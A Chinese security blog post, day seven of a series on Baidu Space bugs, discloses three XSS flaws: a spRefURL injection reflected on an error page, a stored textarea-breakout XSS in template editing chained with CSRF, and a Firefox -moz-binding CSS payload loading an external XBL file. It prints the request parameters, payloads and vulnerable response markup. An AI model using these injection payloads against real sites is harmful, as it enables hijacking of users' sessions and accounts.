The Week of Baidu Bugs – Day 07: 最后的献礼
来源:大风起兮云飞扬
注:版权所有,转载请注明出处。
先把漏洞讲完,再开始扯淡。
今天的第一个漏洞还是出在spRefURL上
XSS 13: 百度空间创建文章错误返回XSS漏洞
在写博客的地方,如果提交时篡改spRefURL为恶意脚本,此时若提交失败,则返回页面中会包含我们的恶意脚本。
在创建文章时提交参数如下:
ct=1&cm=2&spBlogID=1f9a3aacaff38d0c4b36d6f5&spBlogCatName_o=%C4%AC%C8%CF%B7%D6%C0%E0&edithid=
&spRefURL=http%3A%2F%2Fhi.baidu.com%2Ftestuser%2Fmodify%2Fblog%2F1f9a3aacaff38d0c4b36d6f5‘)”><script>alert(/XSS/);</script><“(‘
&spBlogTitle=xxxxxxxxxx&spBlogText=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&spBlogCatName=%C4%AC%C8%CF%B7%D6%C0%E0nonexist
&spIsCmtAllow=1&spBlogPower=0&spVcode=&spVerifyKey=&tj=+%B1%A3%B4%E6%D0%DE%B8%C4+
注意其中的spRefURL参数,我们在这里注入恶意脚本
而输入一个错误的
spBlogCatName
构造一个不存在的类名,以造成错误返回页面。
返回页面的代码如下:
<!–STATUS OK–>
<html><head><meta http-equiv=content-type content=”text/html; charset=gb2312″>
<link rel=”stylesheet” type=”text/css” href=”/space.css”>
……
指定的分类名不存在,请重试<br>
<a href=”####” onClick=”javascript:erReturn(‘http://hi.baidu.com/testuser/modify/blog/1f9a3aacaff38d0c4b36d6f5‘)”><script>alert(/XSS/);</script><“(‘‘);return false;”>返回!</a>
<script language=”javascript”>
errdetails=”指定的分类名不存在,请重试。”;
setTop();
</script>
……
<!– 2.文章修改 –>
<script language=”javascript”>
<!–
writestr(“文章修改失败!”);
//–>
</script>
</div>
</body>
</html>
在具体利用时候,可以参考我在Day 02中举例的构造表单提交的方法,来触发这个XSS。
在一定的时候,将CSRF变成“XSRF”,威力会更加巨大。
希望我说的大家能明白,这里为了偷懒就不做演示了,你只需知道能直接从CSRF触发XSS就行了
接下来讲讲自定义模板的问题
XSS 14: 百度空间保存自定义模板XSS漏洞
百度空间自定义模板是可以自己写CSS的。
自定义模板的界面是一个textarea,但是这个textarea标签是可以闭合的。(后来我发现monyer在blog上也指出过类似的问题。)
如果在保存模板处写入:
</textarea><script>alert(/XSS/);</script>
那么实际上<textarea>就被闭合了,其后就能写入任意脚本。
实际上这属于一个Stored XSS,但是写入的是编辑模板的页面,没办法跨页面。
由于css的编号是可以直接从页面的代码里读出来的,所以编辑模板处是存在CSRF漏洞的
按照我在Day 02里提出的构造表单提交的办法,就可以直接把这个XSS写入到编辑模板页面
以后空间的主人去编辑模板的时候,就会被XSS
这也是一个从CSRF的危害扩大到XSS的例子。
所以请注意这是个危害非常大的漏洞。
XSS 15:百度空间自定义模板XSS漏洞(Firefox)
又是一个只针对Firefox的漏洞。
自定义模板是用<link>标签插入到首页去的。
在自定义模板中,构造特定的样式能够导致在Firefox下的XSS
构造如下:
BODY{-moz-binding:url(“http://ha.ckers.org/xssmoz.xml#xss”)}
保存模板后,在firefox里访问首页,将造成跨站
xml文件代码如下:
<bindings>
<binding id=”xss”>
<implementation>
<constructor>alert(‘XSS’)</constructor>
</implementation>
</binding>
</bindings>
不过最近Firefox更新了(2.0.0.16),修补了这个XSS漏洞,所以这个漏洞以后就没用了。
可以参考80sec的为跨站师带来一个不好的消息
漏洞讲完了,到扯淡时间了。一切都结束了吗?没有,才刚刚开始而已,不过那扯淡的将是下一篇了,稍后再发出来。
欲知后事如何,且听下回分解
PS: 本次活动仅仅是个人行为,与任何组织或集体无关.